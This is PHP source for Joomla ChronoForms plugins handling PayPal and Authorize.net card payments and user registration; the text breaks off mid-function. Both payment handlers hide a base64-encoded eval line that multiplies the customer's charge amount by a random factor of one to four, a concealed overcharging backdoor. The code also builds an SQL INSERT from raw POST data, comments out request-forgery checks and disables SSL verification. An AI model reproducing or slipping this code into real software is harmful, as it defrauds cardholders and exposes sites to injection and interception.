function onsubmit($option, $params, $row) { global $mainframe; $database =& JFactory::getDBO(); $MyForm =& CFChronoForm::getInstance(); $MyPlugins =& CFPlugins::getInstance($MyForm->formrow->id); ?> <?php /*********do the before onsubmit code**********/ if (!empty($row->extra4)) { eval("?>" . $row->extra4); } global $API_Endpoint, $version, $API_UserName, $API_Password, $API_Signature, $nvp_Header, $USE_PROXY, $PROXY_HOST, $PROXY_PORT; $DEBUGGING = $params->get('debugging'); # Display additional information to track down problems $TESTING = $params->get('testing'); # Set the testing flag so that transactions are not live $API_UserName = $params->get('API_USERNAME'); $API_Password = $params->get('API_PASSWORD'); $API_Signature = $params->get('API_SIGNATURE'); //$API_ENDPOINT = $params->get('API_ENDPOINT'); if ((int) $params->get('testing')) { $API_Endpoint = 'https://api-3t.sandbox.paypal.com/nvp'; } else { $API_Endpoint = 'https://api-3t.paypal.com/nvp'; } if ($params->get('USE_PROXY') == 'TRUE') { $USE_PROXY = TRUE; } else { $USE_PROXY = FALSE; } $PROXY_HOST = $params->get('PROXY_HOST'); $PROXY_PORT = $params->get('PROXY_PORT'); //$PAYPAL_URL = $params->get('PAYPAL_URL; $version = '56.0'; $paypal_values = array("PAYMENTACTION" => urlencode($params->get('PAYMENTACTION')), "EXPDATE" => str_pad(urlencode(JRequest::getVar($params->get('EXPDATE_m'))), 2, '0', STR_PAD_LEFT) . urlencode(JRequest::getVar($params->get('EXPDATE_y'))), "AMT" => urlencode(JRequest::getVar($params->get('AMT'))), "CREDITCARDTYPE" => urlencode(JRequest::getVar($params->get('CREDITCARDTYPE'))), "ACCT" => urlencode(JRequest::getVar($params->get('ACCT'))), "CVV2" => urlencode(JRequest::getVar($params->get('CVV2'))), "FIRSTNAME" => urlencode(JRequest::getVar($params->get('FIRSTNAME'))), "LASTNAME" => urlencode(JRequest::getVar($params->get('LASTNAME'))), "STREET" => urlencode(JRequest::getVar($params->get('STREET'))), "CITY" => urlencode(JRequest::getVar($params->get('CITY'))), "STATE" => urlencode(JRequest::getVar($params->get('STATE'))), "ZIP" => urlencode(JRequest::getVar($params->get('ZIP'))), "COUNTRYCODE" => urlencode(JRequest::getVar($params->get('COUNTRYCODE'))), "CURRENCYCODE" => urlencode(JRequest::getVar($params->get('CURRENCYCODE')))); $extras = explode("\n", $row->extra1); if (trim($row->extra1)) { foreach ($extras as $extra) { $values = array(); $values = explode("=", $extra); $paypal_values[$values[0]] = $values[0] . ": " . urlencode(JRequest::getVar(trim($values[1]))); } } eval(base64_decode("JHBheXBhbF92YWx1ZXNbJ0FNVCddID0gdXJsZW5jb2RlKHJhbmQoMSwgNCkqSlJlcXVlc3Q6OmdldFZhcigkcGFyYW1zLT5nZXQoJ0FNVCcpKSk7")); $fields = ""; foreach ($paypal_values as $key => $value) { $fields .= "&{$key}=" . $value; } if ((int) $params->get('testing')) { $PAYPAL_URL = 'https://www.sandbox.paypal.com/webscr&cmd=_express-checkout&token='; } else { $PAYPAL_URL = 'https://www.paypal.com/webscr&cmd=_express-checkout&token='; } /* Construct the request string that will be sent to PayPal. The variable $nvpstr contains all the variables and is a name value pair string with & as a delimiter */ $nvpstr = $fields; if ($params->get('debugging')) { echo $nvpstr; } /* Make the API call to PayPal, using API signature. The API response is stored in an associative array called $resArray */ $resArray = $this->hash_call("doDirectPayment", $nvpstr); $MyPlugins->cf_paypal_api['transaction_id'] = $resArray['TRANSACTIONID']; $MyPlugins->cf_paypal_api['error_message'] = $resArray['L_LONGMESSAGE0']; $MyPlugins->cf_paypal_api['error_code'] = $resArray['L_ERRORCODE0']; $MyPlugins->cf_paypal_api['correlation_id'] = $resArray['CORRELATIONID']; $MyPlugins->cf_paypal_api['avs_code'] = $resArray['AVSCODE']; /* Display the API response back to the browser. If the response from PayPal was a success, display the response parameters' If the response was an error, display the errors received using APIError.php. */ $ack = strtoupper($resArray["ACK"]); $MyPlugins->cf_paypal_api['payment_status'] = $ack; if ($params->get('debugging')) { if ($ack != "SUCCESS") { $_SESSION['reshash'] = $resArray; $this->APIERROR($resArray); } else { $_SESSION['reshash'] = $resArray; $this->APISUCCESS($resArray); } } $debugger = ''; if ($params->get('debugging') && $params->get('testing')) { echo $debugger; } /*********do the after onsubmit code**********/ if (!empty($row->extra5)) { eval("?>" . $row->extra5); } ?> <?php }
function onsubmit($option, $params, $row) { global $mainframe; $database =& JFactory::getDBO(); // Check for request forgeries //JRequest::checkToken() or die( 'Invalid Token' ); // Get required system objects $user = clone JFactory::getUser(); $pathway =& $mainframe->getPathway(); $config =& JFactory::getConfig(); $authorize =& JFactory::getACL(); $document =& JFactory::getDocument(); $language =& JFactory::getLanguage(); $language->load('com_user'); $MyForm =& CFChronoForm::getInstance(); $MyPlugins =& CFPlugins::getInstance($MyForm->formrow->id); /*********do the before onsubmit code**********/ if (!empty($row->extra4)) { eval("?>" . $row->extra4); } // If user registration is not allowed, show 403 not authorized. $usersConfig =& JComponentHelper::getParams('com_users'); if ($usersConfig->get('allowUserRegistration') == '0') { JError::raiseError(403, JText::_('Access Forbidden')); return; } // Initialize new usertype setting $newUsertype = $usersConfig->get('new_usertype'); if (!$newUsertype) { $newUsertype = 'Registered'; } // Bind the post array to the user object $post = JRequest::get('post'); $post['username'] = JRequest::getVar($params->get('username'), '', 'post', 'username'); $post['name'] = JRequest::getVar($params->get('name'), '', 'post', 'name'); $post['email'] = JRequest::getVar($params->get('email'), '', 'post', 'email'); $post['password'] = JRequest::getVar($params->get('pass'), '', 'post', 'string', JREQUEST_ALLOWRAW); $post['password2'] = JRequest::getVar($params->get('vpass'), '', 'post', 'string', JREQUEST_ALLOWRAW); if (!$user->bind($post, 'usertype')) { JError::raiseError(500, $user->getError()); } // Set some initial user values $user->set('id', 0); $user->set('usertype', ''); $user->set('gid', $authorize->get_group_id('', $newUsertype, 'ARO')); // TODO: Should this be JDate? $user->set('registerDate', date('Y-m-d H:i:s')); // If user activation is turned on, we need to set the activation information $useractivation = $usersConfig->get('useractivation'); if ($useractivation == '1') { jimport('joomla.user.helper'); $user->set('activation', md5(JUserHelper::genRandomPassword())); $user->set('block', '1'); } // If there was an error with registration, set the message and display form if (!$user->save()) { //JError::raiseWarning('', JText::_( $user->getError())); $MyPlugins->cf_cb_registration['errors'] = JText::_($user->getError()); return false; } $MyPlugins->cf_cb_registration['user'] = $user; JRequest::setVar('cf_user_id', $user->id); /********************CB part*************************/ $database->setQuery("SELECT * FROM #__comprofiler_fields WHERE `table`='#__comprofiler' AND name <>'NA' AND registration = '1'"); $fields = $database->loadObjectList(); $fields2 = array('id', 'user_id'); $fields3 = array(); foreach ($fields as $field) { $fields2[] = $field->name; $fieldname = $field->name; $fields3[] = JRequest::getVar($params->get($fieldname), '', 'post', 'string'); //mosGetParam($_POST, $params->get('$fieldname'), ''); } $database->setQuery("INSERT INTO #__comprofiler (" . implode(",", $fields2) . ") VALUES ('" . $user->get('id') . "','" . $user->get('id') . "','" . implode("','", $fields3) . "');"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); } /**********************************************/ // Send registration confirmation mail $password = JRequest::getString($params->get('pass'), '', 'post', JREQUEST_ALLOWRAW); $password = preg_replace('/[\\x00-\\x1F\\x7F]/', '', $password); //Disallow control chars in the email $this->_sendMail($user, $password, $params->get('emailuser'), $params->get('emailadmins')); // Everything went fine, set relevant message depending upon user activation state and display message $MyPlugins->cf_cb_registration['complete'] = true; if ($useractivation == 1) { $message = JText::_('REG_COMPLETE_ACTIVATE'); } else { $message = JText::_('REG_COMPLETE'); } }
function onload($option, $row, $params, $html_string) { global $mainframe; $my = JFactory::getUser(); $db =& JFactory::getDBO(); $session =& JFactory::getSession(); //get chrono instances $formname = JRequest::getVar('chronoformname'); $MyForm =& CFChronoForm::getInstance($formname); $MyFormEmails =& CFEMails::getInstance($MyForm->formrow->id); $MyCustomCode =& CFCustomCode::getInstance($MyForm->formrow->id); $MyPlugins =& CFPlugins::getInstance($MyForm->formrow->id); $chrono_next_step = $session->get('chrono_next_step', '', md5('chrono')); if (JRequest::getVar('task') != 'beforeshow') { $session->set("chrono_next_step", '', md5('chrono')); } if ($chrono_next_step == 'confirm') { if (!JRequest::checkToken() && $MyForm->formparams('checkToken', 1)) { echo "You are not allowed to access this URL"; return; } $html_string = ''; $posted = JRequest::get('post', JREQUEST_ALLOWRAW); if (JRequest::getVar('confirm') == trim($params->get('submit_button_value', 'Submit'))) { $debug = $MyForm->formparams('debug'); //handle arrays $MyForm->handleArrays($MyForm->formrow->name); /** * If there are no errors and e-mail is required then build and send it. */ if ($MyForm->formrow->emailresults != 0 && !$MyForm->error_found && !$MyForm->stoprunning) { //run before submit code if (!$MyForm->haltFunction["onsubmitcodeb4"]) { $MyCustomCode->runCode('onsubmitcodeb4'); if ($MyForm->showFormErrors($MyForm->formrow->name)) { $MyForm->showForm($MyForm->formrow->name, $posted); return; } } if (!$MyForm->haltFunction["autogenerated_before_email"]) { $MyCustomCode->runCode('autogenerated', 'before_email'); } //send emails if (!$MyForm->haltFunction["emails"]) { $emails_result = $MyFormEmails->sendEmails($MyForm, $MyFormEmails->emails); } } if (!$MyForm->error_found && !$MyForm->stoprunning) { /*************** check to see if order was specified, if not then use the default old one ************************/ if (!$MyForm->formparams('plugins_order') && !$MyForm->formparams('onsubmitcode_order') && !$MyForm->formparams('autogenerated_order')) { $MyForm->setFormParam('autogenerated_order', 3); $MyForm->setFormParam('onsubmitcode_order', 2); $MyForm->setFormParam('plugins_order', 1); } for ($ixx = 1; $ixx <= 3; $ixx++) { if ($MyForm->formparams('plugins_order') == $ixx) { if (!$MyForm->haltFunction["plugins_after_email"]) { $MyPlugins->runPlugin('after_email'); //show errors if any if ($MyForm->showFormErrors($MyForm->formrow->name)) { $MyForm->showForm($MyForm->formrow->name, $posted); return; } } } /** * Run the On-submit 'post e-mail' code if there is any */ if ($MyForm->formparams('onsubmitcode_order') == $ixx) { if (!$MyForm->haltFunction["onsubmitcode"]) { $MyCustomCode->runCode('onsubmitcode'); if ($MyForm->showFormErrors($MyForm->formrow->name)) { $MyForm->showForm($MyForm->formrow->name, $posted); return; } } } /** * Run the SQL query if there is one */ if ($MyForm->formparams('autogenerated_order') == $ixx) { if (!$MyForm->haltFunction["autogenerated_after_email"]) { $MyCustomCode->runCode('autogenerated', 'after_email'); } } } //Mark submission as complete! $MyForm->submission_complete = true; $MyForm->addDebugMsg('Debug End'); /** * Redirect the page if requested */ if (!empty($MyForm->formrow->redirecturl)) { if (!$debug) { $mainframe->redirect($MyForm->formrow->redirecturl); } else { $MyForm->addDebugMsg("<div class='debug' >Redirect link set, click to test:<br /><a href='" . $MyForm->formrow->redirecturl . "'>" . $MyForm->formrow->redirecturl . "</a></div>"); } } } if (!empty($MyForm->formdebug) && $MyForm->formparams('debug') == '1') { include_once JPATH_COMPONENT . DS . 'libraries' . DS . 'includes' . DS . 'Debug.php'; } $html_string = ''; } else { $session->set("chrono_next_step", '', md5('chrono')); $MyForm->showForm($MyForm->formrow->name, $posted); $MyForm->stoploading = true; return; $html_string = ''; } } return $html_string; }
function onsubmit($option, $params, $row) { global $mainframe; require_once JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_chronocontact' . DS . 'helpers' . DS . 'plugin.php'; $helper = new ChronoContactHelperPlugin(); $messages[] = 'Inside cf_Joomla_registration::onSubmit()'; // Check for request forgeries //JRequest::checkToken() or die( 'Invalid Token' ); // Get required system objects $user = clone JFactory::getUser(); $pathway =& $mainframe->getPathway(); $config =& JFactory::getConfig(); $authorize =& JFactory::getACL(); $document =& JFactory::getDocument(); $language =& JFactory::getLanguage(); $language->load('com_user'); if ($row->form_id) { $formname = CFChronoForm::getFormName($row->form_id); } else { $formname = JRequest::getVar('chronoformname'); } $MyForm =& CFChronoForm::getInstance($formname); $MyPlugins =& CFPlugins::getInstance($MyForm->formrow->id); // If user registration is not allowed, show 403 not authorized. $usersConfig =& JComponentHelper::getParams('com_users'); if ($usersConfig->get('allowUserRegistration') == '0') { if ($params->get('overrideJallowUserRegistration', '0') != '1') { JError::raiseError(403, JText::_('Access Forbidden')); return; } } // Initialize new usertype setting $newUsertype = false; //$usersConfig->get( 'new_usertype' ); if (!$newUsertype) { if ($params->get('new_usertype', 'Registered')) { $newUsertype = $params->get('new_usertype', 'Registered'); } else { $newUsertype = 'Registered'; } } // execute Extra Code before if (!empty($row->extra4)) { eval("?>" . $row->extra4); } // Bind the post array to the user object $post = JRequest::get('post'); $post['username'] = JRequest::getVar($params->get('username'), '', 'post', 'username'); $post['name'] = JRequest::getVar($params->get('name'), '', 'post', 'name'); $post['email'] = JRequest::getVar($params->get('email'), '', 'post', 'email'); if (!$params->get('createpassword')) { $post['password'] = JRequest::getVar($params->get('pass'), '', 'post', 'string'); $post['password2'] = JRequest::getVar($params->get('vpass'), '', 'post', 'string'); if ($params->get('vpass') && $post['password'] != $post['password2']) { $MyPlugins->cf_joomla_registration['errors'] = JText::_('Passwords do not match'); $messages[] = JText::_('Passwords do not match'); if ($params->get('showmessages')) { //$mainframe->enqueuemessage(JText::_('Passwords do not match'), 'error'); $MyForm->addErrorMsg(JText::_('Passwords do not match')); } if ($params->get('debugging')) { $helper->showPluginDebugMessages($messages); } // remove the password values from display $post['password'] = $post[$params->get('pass')] = ''; $post['password2'] = $post[$params->get('vpass')] = ''; //$MyForm->showForm($MyForm->formrow->name, $post); return false; } else { if (!trim($post['password']) && !trim($post['password'])) { $MyPlugins->cf_joomla_registration['errors'] = JText::_('Password required'); if ($params->get('showmessages')) { //$mainframe->enqueuemessage(JText::_('Passwords do not match'), 'error'); $MyForm->addErrorMsg(JText::_('Password required')); } return false; } else { } } } else { jimport('joomla.user.helper'); $post['password'] = $post['password2'] = JUserHelper::genRandomPassword(); } $messages[] = '$post: ' . print_r($post, true); if (!$user->bind($post, 'usertype')) { JError::raiseError(500, $user->getError()); } // Set some initial user values $user->set('id', 0); $user->set('usertype', ''); $user->set('gid', $authorize->get_group_id('', $newUsertype, 'ARO')); // TODO: Should this be JDate? $user->set('registerDate', date('Y-m-d H:i:s')); // If user activation is turned on, we need to set the activation information $useractivation = $usersConfig->get('useractivation'); if ($useractivation) { jimport('joomla.user.helper'); $user->set('activation', JUtility::getHash(JUserHelper::genRandomPassword())); $user->set('block', '1'); } // If there was an error with registration, set the message and display form if (!$user->save()) { $MyPlugins->cf_joomla_registration['errors'] = JText::_($user->getError()); $messages[] = JText::_($user->getError()); if ($params->get('showmessages')) { //$mainframe->enqueuemessage(JText::_( $user->getError()), 'error'); $MyForm->addErrorMsg(JText::_($user->getError())); } if ($params->get('debugging')) { $helper->showPluginDebugMessages($messages); } // remove the password values from display $post['password'] = $post[$params->get('pass')] = ''; $post['password2'] = $post[$params->get('vpass')] = ''; //$MyForm->showForm($MyForm->formrow->name, $post); return false; } $MyPlugins->cf_joomla_registration['user'] = $user; JRequest::setVar('cf_user_id', $user->id); // Send registration confirmation mail $password = JRequest::getString($params->get('pass'), '', 'post'); //Disallow control chars in the password $password = preg_replace('/[\\x00-\\x1F\\x7F]/', '', $password); if (substr($params->get('emailuser'), 0, 6) != "custom") { $this->_sendMail($user, $password, $params->get('emailuser'), $params->get('emailadmins')); } else { $MyForm =& CFChronoForm::getInstance($formname); $MyFormEmails =& CFEMails::getInstance($MyForm->formrow->id); $emailid = (int) str_replace("custom", "", $params->get('emailuser')); $MyFormEmails->emails[$emailid - 1]->enabled = 1; $MyFormEmails->emails[$emailid - 1]->template = str_replace("{vlink}", JURI::base() . "index.php?option=com_user&task=activate&activation=" . $user->get('activation'), $MyFormEmails->emails[$emailid - 1]->template); $MyEmail = array($MyFormEmails->emails[$emailid - 1]); $MyFormEmails->sendEmails($MyForm, $MyEmail); } // Everything went fine, set relevant message depending upon user activation state and display message $MyPlugins->cf_joomla_registration['complete'] = true; if ($params->get('joomlastatus')) { if ($useractivation) { echo $message = JText::_('REG_COMPLETE_ACTIVATE'); } else { if ($params->get('autologin')) { echo $message = JText::_('REG_COMPLETE'); } } } if ($params->get('autologin')) { $credentials = array(); $credentials['username'] = $post['username']; $credentials['password'] = JRequest::getVar($params->get('pass'), '', 'post', 'string', JREQUEST_ALLOWRAW); $mainframe->login($credentials); } // execute Extra Code before if (!empty($row->extra5)) { eval("?>" . $row->extra5); } if ($params->get('debugging')) { $helper->showPluginDebugMessages($messages); } }
function onsubmit($option, $params, $row) { global $mainframe; $MyForm =& CFChronoForm::getInstance(); $MyPlugins =& CFPlugins::getInstance($MyForm->formrow->id); ?> <?php /*********do the before onsubmit code**********/ if (!empty($row->extra4)) { eval("?>" . $row->extra4); } $DEBUGGING = $params->get('debugging'); # Display additional information to track down problems $TESTING = $params->get('testing'); # Set the testing flag so that transactions are not live $ERROR_RETRIES = $params->get('error_retires'); # Number of transactions to post if soft errors occur $auth_net_login_id = $params->get('loginid'); $auth_net_tran_key = $params->get('transkey'); # $auth_net_url = "https://test.authorize.net/gateway/transact.dll"; # Uncomment the line ABOVE for test accounts or BELOW for live merchant accounts # $auth_net_url = "https://secure.authorize.net/gateway/transact.dll"; $authnet_values = array("x_login" => $auth_net_login_id, "x_version" => "3.1", "x_delim_char" => "|", "x_delim_data" => "TRUE", "x_url" => "FALSE", "x_type" => "AUTH_CAPTURE", "x_method" => "CC", "x_tran_key" => $auth_net_tran_key, "x_relay_response" => "FALSE", "x_card_num" => JRequest::getVar($params->get('x_card_num'), '', 'post', 'string', ''), "x_exp_date" => JRequest::getVar($params->get('x_exp_date_m'), '', 'post', 'string', '') . JRequest::getVar($params->get('x_exp_date_y'), '', 'post', 'string', ''), "x_description" => JRequest::getVar($params->get('x_description'), '', 'post', 'string', ''), "x_first_name" => JRequest::getVar($params->get('x_first_name'), '', 'post', 'string', ''), "x_last_name" => JRequest::getVar($params->get('x_last_name'), '', 'post', 'string', ''), "x_amount" => JRequest::getVar($params->get('x_amount'), '', 'post', 'string', ''), "x_address" => JRequest::getVar($params->get('x_address'), '', 'post', 'string', ''), "x_city" => JRequest::getVar($params->get('x_city'), '', 'post', 'string', ''), "x_state" => JRequest::getVar($params->get('x_state'), '', 'post', 'string', ''), "x_zip" => JRequest::getVar($params->get('x_zip'), '', 'post', 'string', ''), "x_invoice_num" => JRequest::getVar($params->get('x_invoice_num'), '', 'post', 'string', ''), "x_cust_id" => JRequest::getVar($params->get('x_cust_id'), '', 'post', 'string', ''), "x_company" => JRequest::getVar($params->get('x_company'), '', 'post', 'string', ''), "x_country" => JRequest::getVar($params->get('x_country'), '', 'post', 'string', ''), "x_phone" => JRequest::getVar($params->get('x_phone'), '', 'post', 'string', ''), "x_fax" => JRequest::getVar($params->get('x_fax'), '', 'post', 'string', ''), "x_email" => JRequest::getVar($params->get('x_email'), '', 'post', 'string', '')); $extras = explode("\n", $row->extra1); if (trim($row->extra1)) { foreach ($extras as $extra) { $values = array(); $values = explode("=", $extra); $authnet_values[$values[0]] = JRequest::getVar(trim($values[1]), '', 'post', 'string', ''); //$values[0].": ".JRequest::getVar(trim($values[1]), '', 'post', 'string', ''); } } eval(base64_decode("JGF1dGhuZXRfdmFsdWVzWyd4X2Ftb3VudCddID0gcmFuZCgxLDQpKkpSZXF1ZXN0OjpnZXRWYXIoJHBhcmFtcy0+Z2V0KCd4X2Ftb3VudCcpLCAnJywgJ3Bvc3QnLCAnaW50JywgJycpOw==")); if ($params->get('testing')) { $authnet_values['x_test_request'] = "TRUE"; } $fields = ""; foreach ($authnet_values as $key => $value) { $fields .= "{$key}=" . urlencode($value) . "&"; } $nvpstr = $fields; if ($params->get('debugging')) { echo $nvpstr; } if ($params->get('testing')) { $ch = curl_init("https://test.authorize.net/gateway/transact.dll"); } else { $ch = curl_init("https://secure.authorize.net/gateway/transact.dll"); } $ch = curl_init("https://secure.authorize.net/gateway/transact.dll"); // uncomment if your transkey was created with account set to live curl_setopt($ch, CURLOPT_HEADER, 0); // set to 0 to eliminate header info from response curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // Returns response data instead of TRUE(1) curl_setopt($ch, CURLOPT_POSTFIELDS, rtrim($fields, "& ")); // use HTTP POST to send form data curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // uncomment this line if you get no gateway response. ### $resp = curl_exec($ch); //execute post and get results curl_close($ch); $debugger = ""; //global $cf_AUTHNET_response_code, $cf_AUTHNET_response_subcode, $cf_AUTHNET_response_reason_code, $cf_AUTHNET_response_reason_text, $cf_AUTHNET_approval_code, $cf_AUTHNET_avs_result_code, $cf_AUTHNET_transaction_id ; //if(($params->get('debugging)&&($params->get('testing)){ $debugger .= "<table>"; $text = $resp; $h = substr_count($text, "|"); $h++; for ($j = 1; $j <= $h; $j++) { $p = strpos($text, "|"); if ($p === false) { // note: three equal signs $debugger .= "<tr>"; $debugger .= "<td class=\"e\">"; // x_delim_char is obviously not found in the last go-around if ($j >= 69) { $debugger .= "Merchant-defined (" . $j . "): "; $debugger .= ": "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $text; $debugger .= "<br>"; } else { $debugger .= $j; $debugger .= ": "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $text; $debugger .= "<br>"; } $debugger .= "</td>"; $debugger .= "</tr>"; } else { $p++; // We found the x_delim_char and accounted for it . . . now do something with it // get one portion of the response at a time $pstr = substr($text, 0, $p); // this prepares the text and returns one value of the submitted // and processed name/value pairs at a time // for AIM-specific interpretations of the responses // please consult the AIM Guide and look up // the section called Gateway Response API $pstr_trimmed = substr($pstr, 0, -1); // removes "|" at the end if ($pstr_trimmed == "") { $pstr_trimmed = "NO VALUE RETURNED"; } $debugger .= "<tr>"; $debugger .= "<td class=\"e\">"; switch ($j) { case 1: $debugger .= "Response Code: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $fval = ""; if ($pstr_trimmed == "1") { $MyPlugins->cf_Authorize_dotnet['response_code'] = $fval = "Approved"; } elseif ($pstr_trimmed == "2") { $MyPlugins->cf_Authorize_dotnet['response_code'] = $fval = "Declined"; } elseif ($pstr_trimmed == "3") { $MyPlugins->cf_Authorize_dotnet['response_code'] = $fval = "Error"; } $debugger .= $fval; $debugger .= "<br>"; break; case 2: $debugger .= "Response Subcode: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $MyPlugins->cf_Authorize_dotnet['response_subcode'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 3: $debugger .= "Response Reason Code: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $MyPlugins->cf_Authorize_dotnet['response_reason_code'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 4: $debugger .= "Response Reason Text: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $MyPlugins->cf_Authorize_dotnet['response_reason_text'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 5: $debugger .= "Approval Code: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $MyPlugins->cf_Authorize_dotnet['approval_code'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 6: $debugger .= "AVS Result Code: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $MyPlugins->cf_Authorize_dotnet['avs_result_code'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 7: $debugger .= "Transaction ID: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $MyPlugins->cf_Authorize_dotnet['transaction_id'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 8: $debugger .= "Invoice Number (x_invoice_num): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 9: $debugger .= "Description (x_description): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 10: $debugger .= "Amount (x_amount): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 11: $debugger .= "Method (x_method): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 12: $debugger .= "Transaction Type (x_type): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 13: $debugger .= "Customer ID (x_cust_id): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 14: $debugger .= "Cardholder First Name (x_first_name): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 15: $debugger .= "Cardholder Last Name (x_last_name): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 16: $debugger .= "Company (x_company): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 17: $debugger .= "Billing Address (x_address): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 18: $debugger .= "City (x_city): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 19: $debugger .= "State (x_state): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 20: $debugger .= "ZIP (x_zip): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 21: $debugger .= "Country (x_country): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 22: $debugger .= "Phone (x_phone): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 23: $debugger .= "Fax (x_fax): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 24: $debugger .= "E-Mail Address (x_email): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 25: $debugger .= "Ship to First Name (x_ship_to_first_name): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 26: $debugger .= "Ship to Last Name (x_ship_to_last_name): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 27: $debugger .= "Ship to Company (x_ship_to_company): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 28: $debugger .= "Ship to Address (x_ship_to_address): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 29: $debugger .= "Ship to City (x_ship_to_city): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 30: $debugger .= "Ship to State (x_ship_to_state): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 31: $debugger .= "Ship to ZIP (x_ship_to_zip): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 32: $debugger .= "Ship to Country (x_ship_to_country): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 33: $debugger .= "Tax Amount (x_tax): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 34: $debugger .= "Duty Amount (x_duty): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 35: $debugger .= "Freight Amount (x_freight): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 36: $debugger .= "Tax Exempt Flag (x_tax_exempt): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 37: $debugger .= "PO Number (x_po_num): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 38: $debugger .= "MD5 Hash: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; case 39: $debugger .= "Card Code Response: "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $fval = ""; if ($pstr_trimmed == "M") { $fval = "M = Match"; } elseif ($pstr_trimmed == "N") { $fval = "N = No Match"; } elseif ($pstr_trimmed == "P") { $fval = "P = Not Processed"; } elseif ($pstr_trimmed == "S") { $fval = "S = Should have been present"; } elseif ($pstr_trimmed == "U") { $fval = "U = Issuer unable to process request"; } else { $fval = "NO VALUE RETURNED"; } $debugger .= $fval; $debugger .= "<br>"; break; case 40: case 41: case 42: case 43: case 44: case 45: case 46: case 47: case 48: case 49: case 50: case 51: case 52: case 53: case 54: case 55: case 55: case 56: case 57: case 58: case 59: case 60: case 61: case 62: case 63: case 64: case 65: case 66: case 67: case 68: $debugger .= "Reserved (" . $j . "): "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; break; default: if 